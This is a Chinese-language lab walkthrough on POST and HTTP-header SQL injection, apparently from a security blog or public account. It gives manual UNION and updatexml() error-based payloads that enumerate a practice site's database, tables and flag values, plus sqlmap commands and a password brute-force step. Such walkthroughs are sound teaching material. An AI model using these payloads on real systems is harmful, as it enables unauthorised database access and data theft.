作者:无名草talent 原文地址:http:///9gqwy 为了更好的学习POST注入和HEAD注入,我们有必要理解SQL注入的原理。作者这一篇整理的很全了 SQL注入的原理分析: https://www./articles/network/276972.html 也可以直接上方扫码领取“关于sql注入”的教程演示视频,看个人喜好!
一、POST注入介绍
POST注入高危点:
最经典的POST注入——万能密码:
POST实战
手工注1.判断注入点 'or 1=1 and -1=-1# ==》登录成功 'or 1=1 and -1=-2# ==》登录失败 ==》在Username登录框存在注入点 2.判断当前页面字段总数 'or 1=1 order by 3# ==》登录成功 'or 1=1 order by 4# ==》登录失败 ==》当前页面字段总数: 3 3.判断显示位 'or 1=2 union select 1,2,3# 4.查当前数据库 'or 1=2 union select 1,2,database()# ==》数据库名为 post_error 5.查表名 'or 1=2 union select 1,2,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()# ==》两个表:flag和user。 6.查列名 FLAG应该在flag表里; 'or 1=2 union select 1,2,GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='flag'# ==》列名:Id和flag 7.查字段内容 FLAG应该在flag表里的flag字段里; 'or 1=2 union select 1,2,GROUP_CONCAT(flag) from flag# ==》字段里面的内容为:zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1。 Sqlmap简介下载地址:https://github.com/sqlmapproject/sqlmap
基础命令:
-D 指定库 -T 指定表 -C 指定字段 Sqlmap用户手册[超详细]: https://www.cnblogs.com/hongfei/p/3872156.html Salmap——POST注入:
--forms
==》注入成功
-r Burp抓包,为了方便在Sqlmap文件夹里创建文档1.txt然后把数据存放在里面; POST /Pass-05/index.php HTTP/1.1 Host: inject2.lab.:81 Content-Length: 45 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://inject2.lab.:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://inject2.lab.:81/Pass-05/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close username=&password=&submit=%E7%99%BB%E5%BD%95
==》注入成功 然后跑库名(sqlmap.py -r 1.txt --dbs),表名,字段名和数据 跟--forms差不多。 二、Head注入介绍
PHP 全局变量 - 超全局变量
如:
$_SERVER功能很强大,如:
$_SERVER包含的信息: updatexml()
例如:updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
select updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) ==》这样我们就实现了通过报错注入查询数据库名的目的。
如: select *from wlb where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
三、HEAD实战
首先用Burp爆破密码: ==》账号:admin;密码:123456。手工注入需要用 ModHeader 插件:
Sqlmap注入
sqlmap.py -r 1.txt ==》注入成功;
声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,否则需自行承担,本公众号及作者不承担相应的后果. |
|